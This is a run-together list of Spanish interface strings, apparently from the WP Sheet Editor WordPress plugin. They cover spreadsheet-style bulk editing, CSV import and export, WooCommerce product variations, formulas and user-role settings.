TutorialesAlturaAyudaAquí hay un archivo CSV como ejemplo que contiene todo tipo de productos.Aquí puedes controlar cuántas variaciones copiaremos en cada tanda. Si usas un valor alto, la copia terminará más rápido pero puede saturar tu servidor. Recomendamos copiar 50 por tanda.Aquí puedes controlar el tamaño del lote para las exportaciones. Si usas un número alto, las exportaciones terminarán más rápido. Puedes usar un número alto de forma segura porque automáticamente volvemos a un número más bajo si el servidor se sobrecarga durante una exportación. Por ejemplo, exportar 100 filas por lote y completar las exportaciones súper rápido y si detectamos lentitud en una exportación reiniciaremos automáticamente la exportación con 10 filas por loteOcultar / Mostrar columnasOcultar la barra de administración en el frontendOcultar columnaHoras¿Cómo se guardan los valores múltiples en la base de datos?¿Cómo debemos encontrar los elementos existentes a editar?¿Cómo quieres guardar los archivos múltiples?¿Cómo quieres guardar los posts múltiples?¿Cómo quieres guardar los términos múltiples?¿Cómo se guarda el archivo en la base de datos?¿Cómo se guarda el post en la base de datos?¿Cómo se guarda el término taxonómico en la base de datos?¿Cómo se guarda el usuario en la base de datos?¿Cuánto tiempo quieres esperar entre cada lote? (en segundos)¿Cuántas copias quieres crear?No quiero copiar todas las variacionesTengo una copia de seguridad de la base de datos. Ejecutar AhoraEntiendo que se editarán los productos de mi búsqueda.Entiendo, continuarQuiero buscar las filas a editar y editar todos los resultados de la búsquedaPor ejemplo, un valor como "(234343) Mi gran título" puede convertirse en "Mi gran título" eliminando todo lo que precede a ") ".Es decir, un valor como "Mi gran título (234343)" puede convertirse en "Mi gran título" eliminando todo lo que aparece después de " ("IDSi la columna tiene texto demasiado largo, borraremos el HTML y lo acortaremos a un número de palabras.Si se trata de un atributo global, ingresa la clave del atributo (por ejemplo, pa_color). Ingresa el nombre si se trata de un atributo personalizado.Si estás intentando descargar algo que se exportó hace varias horas, es posible que el archivo haya caducado. Los archivos caducan al cabo de %s horas.Si haces clic en el botón "descargar", descargaremos el archivo desde el sitio web oficial: wpsheeteditor.com.Si deshabilitas esta opción, esta columna sólo se editará manualmente.Si habilitas esta opción, algunas columnas aparecerán como texto. Normalmente detectamos los campos de fecha, campos de imagen.Si habilitas esta opción, el widget de estadísticas de uso que se muestra en el panel de control de wp-admin será eliminado.Si habilitas esta opción, añadiremos campos a los perfiles de usuario donde podrás especificar qué vistas de la hoja de cálculo pueden utilizar, pueden utilizar todas las vistas de la hoja de cálculo si esto está desactivado.Si habilitas esta opción, simplificaremos las opciones de la hoja de cálculo y eliminaremos ejemplos avanzados, consejos y opciones poco utilizadas en la herramienta de búsqueda, la herramienta de edición masiva, la herramienta de importación, la herramienta de exportación y otros lugares.Si detienes una importación para editar el archivo CSV o cambias la velocidad de importación, puedes iniciar una nueva importación y continuar desde donde la dejaste.Ignorar esta columnaAltura de previsualización de la imagen dentro de la celdaAncho de previsualización de la imagen dentro de la celdaImagina poder hacer todos esos cambios a cientos o miles de entradas a la vez en sólo unos minutos. La función de fórmulas está disponible como extensión premium.ImportarImportar todas las filas como nuevasImportar todas las columnasImportar como metadatosImportar CSVImportar ajustesExtensiones importantesImportante. Sólo hemos detectado una columna en el archivo CSV. Si esto es incorrecto, sigue estos pasos para arreglarlo.ImportandoEn los últimos X díasEn las últimas X horasEn las últimas X semanasEn los últimos X añosEn esta página puedes configurar rápidamente el editor de hojas de cálculo. Esto es todo lo que necesitas para usar el editor. Los ajustes en las otras pestañas son completamente opcionales y te permiten ajustar el rendimiento del editor entre otras cosas.Aumentar la productividadIncrementar enIncrementar en númeroIncrementar en porcentajeAumentar o disminuir los precios de los productosAumentar o disminuir el inventario de los productosAumentar filas por páginaAumenta el valor existente en un número.
                  El resultado se redondea a los 2 decimales más cercanos. Es decir, 3.845602 se convierte en 3.85Aumenta el valor existente en un porcentaje.
                  El resultado se redondea a los 2 decimales más cercanos. Es decir, 3,845602 se convierte en 3,85Desfase inicial de las filasInsertar en el elementoInstalar GratisIntegraciones#898AJSI inválido. El reemplazo requiere 2 parámetros, y solo recibimos uno#8W23CV inválido. Solo aceptamos fórmulas MATH y REPLACE, pero recibimos un tipo de fórmula desconocida.#8W89PQ inválido. La fórmula matemática está vacía.#8W89PQ inválido. La fórmula matemática está vacía.#PQ8SPQ inválido. La función PHP no existe: %s#PQ8SPQ inválido. La fórmula matemática contiene una coma: %sUnidad de tiempo inválida.InventarioEs descargableEs Virtual¿Es visible?¿Es un atributo global?Es destacado?¿Es de sólo lectura?¿Es visible?Busca en el título de la entrada y en su contenido. Busca por varias palabras clave separándolas con punto y coma (;)Es importante que las instales para evitar errores, pero puedes hacerlo más tarde si quieres. Encuentra esta ventana emergente en la barra de herramientas > extensiones > Integraciones.Elementos cargados en la hoja de cálculoSólo guarda los cambiosClaveEtiquetaÚltima modificaciónDéjalo vacío para usar los ajustes globales.Deja este campo vacío si quieres anular el término.LongitudModo claroColor de los enlacesListado de columnas eliminadasEn vivoCargarCargar más filas¿Cargar más filas al hacer scroll?Cargar más al hacer scrollCargar las filas más rápido: Número de filas a cargar por loteLocalizar celdaLocalizar celda.Localizar columnaLas celdas bloqueadas sólo muestran una vista previa del valor. La longitud de caracteres por defecto es %dMensaje de inicio de sesiónLogoColor principalHacer otra búsquedaGestionar de inventario¿Administrar los valores de las columnas de taxonomía como IDs de términos?¿Gestionar los valores de las columnas de taxonomía como slugs de términos?¿Administrar la columna "Padre" usando los IDs?Fórmulas matemáticasFórmula matemáticaDecimales para redondear valores al realizar ediciones masivas en columnas numéricas?Operación matemáticaCantidad máxima de campos disponibles para búsqueda avanzada?¿Número máximo de caracteres mostrados en la vista previa de los valores de las columnas tinymce?Número máximo de segundos para descargar imágenes externas?Número máximo de variaciones por combinación de atributosNúmero máximo de palabrasMáximo de caracteres visibles en las celdas bloqueadasTal vez tu servidor no nos permitió crear el archivo. Ocurre si tu servidor no está configurado correctamente y nuestra carpeta %s no tiene permisos de escritura, por lo que no podemos crear el archivo. Deberías solicitar ayuda a tu proveedor de hosting.Hoja de Cálculo de la Biblioteca de Medios de WordPressMenúClaves meta que deben utilizar el administrador de campos serializados infinitosMeta: %sMicrosoft Excel (Office 365)Tipo de MIMEMisceláneaColumnas faltantesFalta el número y la unidad de tiempo.Parámetros faltantes.Falta el post type o la column_key (clave de la columna)Falta el post type, old_column_key, o new_column_key; o la clave antigua y la clave nueva son iguales."Datos" del campo requerido faltantes.Campo requerido faltante. Por favor, inicia el proceso de nuevo.Fecha de modificaciónFecha de Modificación (GMT)Celdas modificadasFilas modificadasMesesMás opcionesMover todos tus borradores a posts publicados o a cualquier otro estadoMover cientos de entradas a la papeleraDesplegable de selección múltipleMúsicaMi licenciaNO CONTIENENo Contiene esta palabra claveNombreNombre de esta exportaciónNombre de esta exportación (opcional)¿Necesitas ayuda?¿Necesitas ayuda? Consulta nuestros tutoriales¿Necesitas ayuda? ContáctanosNueva Hoja de CálculoNuevo menú desplegable de selección múltiple (predeterminado)Se añadieron nuevas filasNuevo valorSiguienteNoNo se han encontrado artículos.No hay más filas disponibles.No hay opciones disponiblesNo hay filas disponibles para la página actual.No se han encontrado filas que coincidan con los parámetros de búsqueda. Puedes eliminar los filtros activos o intentarlo con una búsqueda diferente.No se han encontrado taxonomías.No, eliminar todo lo que aparece después del texto, sin incluir el textoCelda normalNo está permitido.No permitido. Por favor, inicia el proceso de nuevo.No encontradoNo se encontró en la PapeleraNota. Esta no es una característica de seguridad, el usuario puede editar todos los campos en el editor normal basado en el rol. Esta opción es por conveniencia, para que los usuarios puedan solo ver las columnas que necesitan cuando abran la hoja de cálculo. Si dejas estos campos vacíos, podrán cambiar entre todas las vistas existentesNota: Separa los valores con el caracter %1$s
                  Te recomendamos usar Atributos Globales si los vas a usar en muchos productos.Crear Atributos Globales
                  Los atributos globales tienen sus propias columnas en la hoja de cálculo. Puedes editarlos en las columnas (más rápido) o usando esta ventana emergente.
                  Si estás editando los atributos de variaciones, la variación debe estar habilitada. De lo contrario, los atributos no se guardarán.Nota: Separa los valores con este carácter: %s.
                  El producto debe ser variable y tener variaciones existentes para que esto funcione. De lo contrario los atributos por defecto no serán guardados.NúmeroNúmero de decimalesNúmero de filas a procesar por lote:OKAutocompletado de selección simple antiguoSlug antiguoVersiones más antiguas de Microsoft ExcelUn correo electrónico por usuario significa que si 3 filas tienen la misma dirección de correo electrónico, sólo una fila activará un correo electrónico y las demás se omitirán. Un correo electrónico por fila significa que si 3 filas tienen la misma dirección de correo electrónico, enviaremos 3 correos electrónicos a la misma dirección (uno por fila).Una fila de variación tiene un producto padre que no existe. La columna "padre" contiene el %1$s: %2$s. Por favor, corrígelo e inicia una nueva importaciónSolo los administradores pueden enviar correos electrónicos a los usuarios.Copiar solo las variaciones nuevasSólo crear las filas nuevas, ignorar las filas existentesSólo para usuarios avanzados. Leer más.¿Sólo se puede enviar un correo electrónico por dirección?Oops, no encontramos nada.Abrir la Página de AjustesAbrir en una Hoja de CálculoAbrir el Editor de Hojas de CálculoOperadorOrdenOtroOtras extensionesFunción PHPPágina PadrePáginasPadreHoja de Cálculo Padre:ContraseñaPega los ajustes aquí (el contenido del archivo exportado). Notas:Pegar con el teclado: Ctrl+VPausarLos receptores responderán a esta dirección de correo electrónicoEstado del pingModo de texto sin formato: Renderizar como: (Usar sólo si el tipo de celda está vacío)Por favor, comprueba si tienes cambios no guardados. Si es así, por favor, guárdalos o serán descartados.Por favor, corrige el error y guarda de nuevo.Por favor, corrige el error en el archivo e inicia una nueva importación. Puedes usar las "Opciones avanzadas" en el paso 1 de la importación para empezar desde esta fila específica.Ingresa el asunto y el mensaje del correo electrónico.Por favor, ingresa el nombre de las vistas de la hoja de cálculo separadas por comas.Por favor, indica cuáles términos quieres remover.Por favor, haz una copia de seguridad de tu base de datos antes de importar para estar más seguro.Por favor, haz una búsqueda para cargar las filas y comenzar a editar (usa la herramienta "Buscar" en la barra superior).Por favor, selecciona un producto.Por favor, selecciona un producto de origen.Por favor, selecciona al menos una columna a importarPor favor, selecciona un color de fondoPor favor, selecciona el post type y guarda los cambios. Después de guardar los cambios, podrás ver el resto de los ajustes e instrucciones.Por favor, escribe la palabra BORRAR y haz clic en enter para continuar:Por favor, actualiza el plugin WP Sheet Editor y todas sus extensiones a la última versión. Esta función requiere la última versión de todos nuestros plugins.Por favor, actualiza el plugin WP Sheet Editor y todas sus extensiones a la última versión. Las características del plugin "PosiciónDesplegable de postsPost typeHojas de CálculoHoja de CálculoDatos del postMeta del post (es decir, metaboxes)Términos del post (es decir, categorías)Post typePost type eliminadoPost type(s)Tipos de posts creados con WP Sheet EditorEntradasAñadir al inicioPrevisualizar el Editor FrontendAnteriorMenú PrincipalProProcesando...Procesando: Se han exportado %1$d de %2$d filas.Atributos del productoAtributos de producto no usados para las variacionesAtributos de producto no visiblesGalería del productoPromoción. Ahorra %d%% solo hoy. Nota de compraRespuestas rápidasBúsqueda rápidaAjustes rápidosREGEXPRaw HTMLLas columnas de sólo lectura mostrarán un candado y no será posible editarlas en ninguna parte de la hoja de cálculo. Esto no es una característica de seguridad porque la gente todavía puede editar en las pantallas normales de WP.Realinear celdasPrecio normalPrecio normal¿Recordar esta configuración de columnas para futuras importaciones?Eliminar todos los filtrosQuitar la columna completamente. Si quieres usarla más tarde, puedes deshabilitarla arrastrando y soltando a la columna de la derechaEliminar duplicadosBorrar duplicados por SKU (borrar los más nuevos)Borrar duplicados por SKU (borrar los más viejos)Borrar los duplicados por título (quitar los más nuevos)Borrar los duplicados por título (quitar los más antiguos)Borrar duplicados por título (quitar los más nuevos)Borrar duplicados con el mismo título y el mismo contenido (quitar los más nuevos)Borrar duplicados con el mismo título y el mismo contenido (quitar los más antiguos)Eliminar todo lo que aparece después de un textoEliminar todo lo que aparece después de este textoEliminar todo lo que aparece antes de un textoEliminar todo lo que aparece antes de estoEliminar imagen destacada¿Ocultar los mensajes de ayuda de las celdas?Remover términos de los postsEliminar el valor existente y dejar el campo vacío. Leer más¿Quitar también el texto de arriba?¿Eliminar el texto también?Renombrar columnaReemplazarReemplazar un término de atributo por defectoReemplazar un archivo multimedia por otro archivoReemplaza una palabra, frase o número con un nuevo valor. Leer másReemplazar el valor existente por un valor aleatorio de esta lista. Ingresa los valores separándolos con | si quieres seleccionar de una lista predefinida, o ingresa 2 fechas separadas con > si quieres seleccionar cualquier fecha de ese rango.Reemplazar el valor existente por este valor. Leer másReemplazar los shortcodes viejos por shortcodes nuevos en todos tus postsReemplazar algún/algunos término(s) con término(s) nuevo(s). Leer másReemplazar estos archivosReemplazar estoReemplazar este archivoReemplazar este términoReemplazar palabras o frases en los títulos, contenido u otros campos de tus postsResponder aSolicitud no permitida. Inténtalo más tarde.Restablecer los ajustesRedimensionar las columnas en base a los valoresRestaurar columnas eliminadasRecuento de valoracionesFilaFila: %1$d, Tipo de post: %2$s no existe en WordPress. Asegúrate de que tu CSV utiliza el nombre correcto en la columna Post type.Fila: %d. No tienes suficientes permisos para borrar este post.Fila: %d. Estás guardando un post type vacío. Asegúrate que tu CSV usa el nombre correcto en la columna "Tipo de post" o "Post Type".FilasFilas eliminadas con éxitoLas filas que he seleccionado manualmente en la hoja de cálculoEjecutar búsquedaSEOURL Canónica de SEODescripción SEODescripción SEO para FacebookImagen SEO para FacebookTítulo SEO para FacebookPalabra clave de SEOSEO - No indexar%s SEO PrimarioDescripción SEO para TwitterImagen SEO para TwitterTítulo SEO para TwitterTítulo SEOSKUINICIA CONPrecio rebajadoFecha final del precio rebajadoPrecio rebajadoFechas del precio rebajadoFecha inicial del precio rebajadoFecha inicial del precio rebajadoFecha final del precio rebajadoIgual que el post type de la hoja de cálculoIgual que la taxonomía de la hoja de cálculoGuardarGuardar y continuarGuardar cambiosGuardar los cambios y editar el siguiente postGuardar los cambios y editar el post anteriorGuarda los cambios más rápido: Número de filas a guardar por loteGuárdalos como un array serializado¿Guardar estos ajustes para sesiones futuras?Guardar esta búsquedaExportaciones guardadasBúsquedas guardadasGuárdalos separados por comasGuardado: %sGuardando cambios, por favor no cierres esta página.Escanear la BD para encontrar camposEscanear AhoraEscaneando variaciones a crear. Se han procesado {updated} productos de {total} productos.BuscarBuscar Hoja de Cálculo¿Buscar variaciones?Seguridad y roles de usuario (opcional)Seleccionar columnas habilitadasSeleccionar todasSeleccionar todos los productos de una búsquedaSelecciona la columna....Selecciona las columnas a importarSeleccionar columnas individuales a importarSeleccionar productos individualesSeleccionar producto....Selecciona el formato de las celdas, si las celdas deben ser de texto normal, un cargador de archivos o un editor de texto.Selecciona la información que quieres editar con el editor de hojas de cálculo.Selecciona el tipo de información utilizada en las celdas de esta columna.Selecciona las filas que quieres editar.Selecciona el tipo de ediciónSeleccionar...Enviar correo electrónicoEnviar un correo electrónico por filaEnviar un correo electrónico por usuarioSeparados por comasSeparadorSeparador de celdas de términos de taxonomíaArray serializadoEstablecer imagen destacadaConfigurar cientos de productos a la vez como sin existencias o en existencias¿Guardar con estado "Pendiente" si el guardado de la imagen destacada falló?Establecer valor aleatorioPonerle la misma imagen destacada a todos los posts de una categoríaGenerar hoja de cálculoEstablecer valorAjustesConfigurar página en el frontendGenerar hoja de cálculoSheet EditorClase de envíoDescripción cortaMostrar opciones avanzadasMostrar opciones avanzadas ¿Mostrar todos los estados de posts personalizados?Mostrar las celdas como texto simpleMostrar la clave de la columnaMostrar elementos publicados entre estas fechasMostrando las filas de la última sesión.Texto simpleDesplegable de selección simple¿Omitir las imágenes rotas?SlugVendido individualmenteSolución de errores rarosAlgunos cambios no han sido guardados todavía.Algunas columnas dependen de otros plugins. El sitio fuente y el sitio de destino deben usar los mismos plugins para que tengas las mismas columnasAlgunos plugins requieren compatibilidad especial y hemos creado estas extensiones que puedes descargar gratuitamente si compraste nuestro plugin.Algunos plugins ejecutan una tarea después de crear o actualizar una entrada. Por ejemplo, hay plugins que comparten tus nuevas entradas en tus perfiles sociales, otros plugins notifican a los usuarios después de que una entrada es actualizada, etc. Puede que haya un problema con esos plugins. Por ejemplo, si usas un plugin que comparte tus nuevos posts en tu cuenta de twitter y actualizas 100 posts en el editor de la hoja de cálculo, puedes terminar con 100 tweets compartidos en tu cuenta de twitter. Así que habilita esta opción si quieres actualizar / crear posts silenciosamente sin ejecutar esas funciones.Algunas filas fueron modificadas en segundo plano. Por favor, guarda los cambios y recarga la hoja de cálculo para ver los cambios.Algunas filas fueron modificadas en el fondo. Por favor, guarda los cambios antes de usar esta función.OrdenarOrdenar alfabéticamente ASCOrdenar alfabéticamente DESCFuenteVelocidad y rendimientoArchivos de la Hoja de CálculoAtributos de la Hoja de CálculoHoja de cálculo para %s %sVista de hojas de cálculoHojas de cálculo habilitadas para estos post typesLista de hojas de cálculoNavegación por la lista de hojas de cálculoProducto estándarComenzar desde este número de fila:Iniciar nueva exportaciónEstadoInventarioEstado del inventarioEl rol de suscriptor no está autorizado para utilizar el editor.¿Suspender la invalidación de la caché de objetos?EtiquetasEtiquetas (separadas por comas)Productos de destino no encontrados.Las columnas de taxonomía como las categorías de las entradas, las etiquetas de las entradas, etc. muestran los términos separados por comas, si usas comas en los nombres de las taxonomías, usa esta opción para cambiar el separadorDesplegado de taxonomíasMenú desplegable de taxonomías. Sólo si la fuente de datos = Términos del post.Desplegable de términos de taxonomíaEl elemento de la plantilla con ID %d no se ha encontrado o no se puede duplicar.ID del términoTérminosTextoEditor de texto (tinymce)Gracias por actualizar a la nueva versión del plugin.Gracias por usar nuestro editor de hojas de cálculoLa herramienta "Crear variaciones" te permite crear variaciones basadas en la combinación de atributos. El límite por defecto es de 200 variaciones para no sobrecargar tu servidor. Puedes aumentar el límite aquí si necesitas más variaciones.La columna "Precio normal" está oculta. Actívala en el gestor de columnas antes de realizar esta edición masiva.La función "Editor Masivo" te permite actualizar muchos posts a la vez
                  y puedes hacer muchas cosas interesantes, por ejemplo:La Hoja de cálculo está lista.La hoja de cálculo de productos de WooCommerce genera automáticamente las unidades de inventario y las estadísticas de precios de inventario y muestra las estadísticas encima de la hoja de cálculo. Esto puede ralentizar la hoja si tienes varios miles de productos. Desactívalo si la hoja de cálculo es demasiado lenta o ves errores al cargar las filas.El guardado automático falló: El servidor no está disponible o está sobrecargado. ¿Quieres intentarlo de nuevo?El cambio masivo ha sido editado con éxitoEl cambio masivo ha sido ejecutado. ¿Quieres recargar la página para ver los cambios?A la edición masiva le falta información importante, por favor, completa el formulario.El cambio masivo se está ejecutando. Por favor, no cierres esta ventana hasta que el proceso haya terminado.El cambio masivo fue ejecutado con éxito. Puedes cerrar esta ventana.La celda mostrará los valores como URLs y puedes editar en las celdas usando URLs completas, el ID del archivo o el nombre del archivo.
                  Las URLs externas se importan automáticamente en la biblioteca multimedia.
                  Guardaremos el valor en el formato seleccionado aquíLos cambios que estás a punto de realizar no son reversiblesLos cambios que estás a punto de realizar son irreversibles. Debes hacer una copia de seguridad de tu base de datos antes de proceder.Nombre de la columna que se muestra en la hoja de cálculoLa columna seleccionada no es válida.La columna aparecerá en la hoja de cálculo y en las exportaciones si el usuario tiene un rol con la capacidad requerida.La columna puede ser leía solo si el usuario no tiene un rol con la capacidad requerida.La forma predeterminada usa un método de ejecución más rápido, pero puede que no funcione en todos los casos. Usa esta opción cuando la forma predeterminada no funciona o no actualiza todas las filas.El editor sólo está disponible para usuarios registrados. Los usuarios desconocidos verán un formulario de inicio de sesión.Las variaciones existentes en los productos de destino no serán editadas ni sobrescritas.La función de exportación no es compatible con tu sitio web. Asegúrate de que WordPress y todos los plugins y temas estén actualizados.La exportación ha sido editada con éxitoEl archivo exportado no existe. Esto puede ocurrir por las siguientes razones:El archivo no existe. Ruta inválida: %sLos archivos no se pudieron guardar.La función de importación no es compatible con tu sitio web. Asegúrate de que WordPress y todos los plugins y temas estén actualizados.La importación ha sido editada con éxitoLa importación se ha completado.La importación sobrescribirá los ajustes existentes.El elemento no se ha podido guardar. Por favor, inténtalo de nuevo en otro momento.Clave que se utilizará para guardar la información en la base de datos. Debe ser única, sólo letras y guiones bajos.El último lote de importación falló debido a un error del servidor, es más probable que el servidor se haya sobrecargado.
                  1- Puedes intentar importar menos filas por lote (es decir, importar 2 filas cada pocos segundos).
                  2- Puedes iniciar una nueva importación, a veces intentarlo de nuevo funciona (usa los "Ajustes avanzados" en el paso 1 de la importación para empezar desde una fila específica).
                  3- Puedes incrementar la memoria php siguiendo este tutorial
                  4- Si el problema ocurre después de intentarlo con 1 fila por lote, puedes contactar con nosotros y te ayudaremos.La lista de archivos de Google Sheets se ha actualizado. Vuelve a buscar tu archivo.La carga está tomando demasiado tiempo?
                  1. Puedes esperar hasta que el proceso haya terminado.
                  2. Puedes El archivo de registro no existe.No se puede aplicar la fórmula matemática. Se ha encontrado un dato que no es numérico. Datos encontrados: %1$s, ID: %2$dEl campo meta no pudo ser eliminado.El campo meta fue eliminado con éxitoLa clave meta no pudo ser renombrada.La clave meta fue renombrada con éxitoLa opción de crear variaciones para cada combinación de atributos requiere WooCommerce 3.0 o superior. Por favor, actualiza WooCommerce.El plugin marcará como usados para variaciones todos los atributos que NO contengan estas palabras clave en la clave del atributo, ingresa varias separadas por comas. Por ejemplo, "coche, avión" coincidiría con "Modelo de coche, Marca de coche, Avión caro, Aviones". Esto se aplica después de editar un producto en las celdas de la hoja de cálculo.El plugin marcará como visibles todos los atributos que NO contengan estas palabras clave en la clave del atributo, ingresa varias separadas por comas. Por ejemplo, "coche, avión" coincidiría con "Modelo de coche, Marca de coche, Avión caro, Aviones". Esto se aplica después de editar un producto en las celdas de la hoja de cálculo.El plugin no se inicializará para los roles de usuario no seleccionados aquí.La vista previa está bien, iniciar importaciónLos valores aleatorios no pudieron ser leídos.El parámetro de búsqueda debe contener $current_value$ solamenteEl producto seleccionado no tiene variacionesEl servidor no pudo procesar nuestra solicitud. Por favor, inténtalo de nuevo más tarde.El servidor no aceptó nuestra petición. Mala solicitud. Por favor, intenta actualizar la página e inténtalo de nuevo.El servidor no aceptó nuestra petición. No tienes permisos para realizar esta acción. Por favor, inicia sesión de nuevo.El servidor ha excedido sus recursos asignados y no puede procesar nuestra solicitud.El servidor está ocupado y tardó demasiado en responder a nuestra petición. Por favor, inténtalo de nuevo más tarde.El servidor no está disponible o está sobrecargado. ¿Quieres intentarlo de nuevo?El servidor no está disponible o está sobrecargado. Por favor, inténtalo de nuevo más tarde.El servidor no pudo procesar nuestra petición. Error del servidor. Por favor, inténtalo de nuevo más tarde.El producto fuente no tiene variaciones.La hoja de cálculo genera automáticamente columnas para los campos serializados, pero esto puede utilizar muchos ciclos de CPU dependiendo del número de campos serializados. Puedes deshabilitar esta característica si la hoja es demasiado lenta para cargar o si obtienes errores al cargar las filas o no quieres ver las columnas con el prefijo "SEIS".El editor de hojas de cálculo puede ser usado para editar tus %s de WordPress.El editor de hojas de cálculo es muy potente y tiene muchas características. En este paso puedes habilitar las funciones que necesites.La hoja de cálculo carga sólo las "filas visibles" por razones de rendimiento, por lo que cuando te desplazas hacia arriba o hacia abajo las filas se cargan dinámicamente. De esta manera puedes "abrir" miles de posts en la hoja de cálculo y funcionará rápido. Sin embargo, si quieres usar la búsqueda del navegador para encontrar una celda específica, necesitas deshabilitar la carga perezosa para cargar todas las filas a la vez y el navegador será capaz de encontrar las celdas. La búsqueda en el navegador no funciona por defecto porque sólo se crean las "filas visibles".Las variaciones son para este/estos producto(s): Estas opciones serán incluidas en la exportación e importación:Esto se puede utilizar si el valor de la celda será siempre una URL, por lo que la celda se mostrará como de sólo lectura y contendrá un botón que abrirá la URL a partir del valor de la celda.Este color se utilizará como fondo para el encabezado y el pie de página.Este color se utilizará para los enlaces del menú, debe ser el opuesto del color de fondo, es decir, fondo oscuro con texto claro, o fondo claro con texto oscuroEsta columna es sólo para los productos padre, las variaciones no usan este campoEsta columna es sólo para las filas de variaciones, los productos padre no usan este campoEsta función está disponible como una extensión premium.Este formato sólo permitirá a los administradores con la capacidad unfiltered_html guardar cualquier HTML en esta columna, seguiremos eliminando las etiquetas html no seguras cuando los no administradores guarden valores en esta columna.Esto es sólo para usuarios avanzados o si nuestro equipo de soporte te pide que uses esta opción. Tenemos dos maneras de manejar los campos serializados: el antiguo controlador (usado por defecto, que tiene limitaciones) y el controlador de serialización infinita (mejor, no está activo por defecto para no romper integraciones anteriores). Utiliza esta opción si tienes campos serializados que se guardan incorrectamente o no aparecen en la hoja de cálculo.Esto es opcional. Déjalo vacío para usar el nombre de las URLs. Ingresa varios nombres separados por comas.Esta es una etiqueta dinámica para esta columna. Puedes copiar esto y usarlo en la herramienta de edición masivaEste logotipo se mostrará encima de la hoja de cálculo en el frontendEste menú se mostrará en la parte superior derecha de la hoja de cálculo.Esto puede ayudar si la hoja de cálculo no carga filas o si las filas aparecen vacías.Esta opción te permite indicar qué posts utilizar como plantillas para campos serializados específicos. Ingresa la clave del campo y el ID del post separados por dos puntos. Por ejemplo: serialized_key1:89, serialized_key2:90Esta opción aplica solo si estás importando la columna de imagen destacada y falla el guardado de la imagen.Esto se mostrará cuando el usuario actual no esté conectado e intente ver una página de hoja de cálculo. Mostraremos un formulario de inicio de sesión después del mensaje.Esto borrará las filas de tu base de datos completamente y la única manera de deshacer este cambio es restaurar una copia de seguridad. Por favor, haz una copia de seguridad en caso de que puedas necesitar deshacer esto después.Esto desconectará tu cuenta de Google de WP Sheet Editor, lo que detendrá todas las tareas de sincronización configuradas con esa cuenta de Google en todos tus sitios de WordPress. Sin embargo, otros usuarios pueden conectar su propia cuenta de Google, por lo que las tareas de sincronización de otros usuarios vinculadas a sus propias cuentas de Google no se verán afectadas. ¿Estás seguro de que quieres desconectar tu cuenta de Google por completo?Esto ocultará la opción "ayuda" de la barra de herramientas superiorEsto te ahorrará {clicks_count} clics :)Separador de milesTiempo ahorrado
                  (estimado)Unidad de tiempoEditor TinyMCEConsejo. Si has editado información de este sitio, debes importar las columnas editadas y el record_id. No importes columnas que no hayan sido modificadasConsejo: Podemos ayudarte con la configuración de la hoja de cálculo. Obtén ayuda instantánea en el chat en vivo en horas de oficina.Consejo. Puedes usar la herramienta "Exportar" para descargar un archivo CSV y ver las columnas y el formato disponibles.
                  Puedes leer nuestra documentación aquí.TítuloPara buscar entre todos los posts, usa la herramienta de búsqueda. Se usa para localizar y resaltar un valor en las filas cargadas en la hoja de cálculo. Es decir, resaltar un SKU, correo electrónico o título específico.Herramientas sobre la tabla.Ventas totalesTraducir por separadoHabilita esto y la hoja de cálculo guardará los cambios hechos en las celdas cada 2 minutos. Cuidado: Esto puede causar problemas si los cambios se guardan prematuramente antes que termines de editar todas las columnas requeridas.TutorialTipoURLURL SlugHTML sin filtrarDeseleccionar todasDeseleccionar todas las columnasActualizar las filas existentes, ignorar las filas nuevasActualiza el valor existente con el resultado de una operación matemática.
                  El resultado se redondea a los 2 decimales más cercanos. Es decir, 3,845602 se convierte en 3,85Actualizar ajustes¿Actualizar la tabla de consulta y ejecutar siempre los Webhooks de WooCommerce?Subir imagenSubir el archivoSubir los archivosSubido por este usuarioSubido a este elementoVentas dirigidasEstadísticas de usoUsar una lista infinita en lugar de la paginaciónUsar como imagen destacadaUsar por defecto¿Usar la paginación en la hoja de cálculo?Usar los precios del producto simple (Padre) para las variaciones¿Usar columnas separadas para las imágenes durante la exportación e importación?¿Usar un método de ejecución más lento?Usa este editor para editar sólo el contenido, otros campos como etiquetas y categorías deben ser editados en la hoja de cálculo.¿Usado para variaciones?¿Usado para variaciones?Capacidades de usuario que pueden leer esta columnaCapacidades del usuario que pueden leer esta columnaDesplegable de usuarioUsuario no autorizadoUsuario no autorizado para editar las filasRoles de usuarioRoles de usuario que pueden utilizar el editor de hojas de cálculoNombre de usuarioUsuariosUsando esta herramienta puedes editar miles de filas a la vezValorEl valor en la sección de reemplazo no es válidoDescripción de la variación¿Variación habilitada?Variación: %sGestor de VariacionesLas variaciones no usan URL slugs pero esto puede ser útil si quieres ver la URL anterior de la variación después de convertir un producto simple en una variación.VendedorVerVer ExtensionesVer GaleríaVer la Hoja de CálculoVer las Hojas de CálculoVer extensionesVer registroVirtualVisibilidadEditor de WPWP Sheet EditorUso de WP Sheet EditorWPBakery Page BuilderWPML - DuplicarWPML - IdiomaWPML - Faltan traducciones en estos idiomasWPML - RelaciónWPML - Traducción deWPML - Prioridad de traducciónAdvertencia: Por favor, haz una copia de seguridad en caso de que quieras deshacer los cambios después.Ver tutorialEstamos guardando ahora. No cierres esta ventana hasta que el proceso haya terminado.Automáticamente, permitimos la edición de columnas en filas de variaciones si al menos una variación usa ese campo.Detectamos todas las columnas automáticamenteRedondeamos automáticamente a 2 decimales. Puedes ingresar cualquier número aquí, por ejemplo, 1 para redondear a 1 decimalPodemos escanear la base de datos, encontrar nuevos campos y crear columnas automáticamente para los campos soportados.No encontramos filas a exportar. Por favor, intenta con otra búsqueda.No encontramos filas a actualizar a partir de la consulta de búsqueda. Por favor, intenta otra búsqueda.No encontramos variaciones para copiar.Encontraremos filas con el mismo valor en la Columna en el CSV y en el Campo en WP.
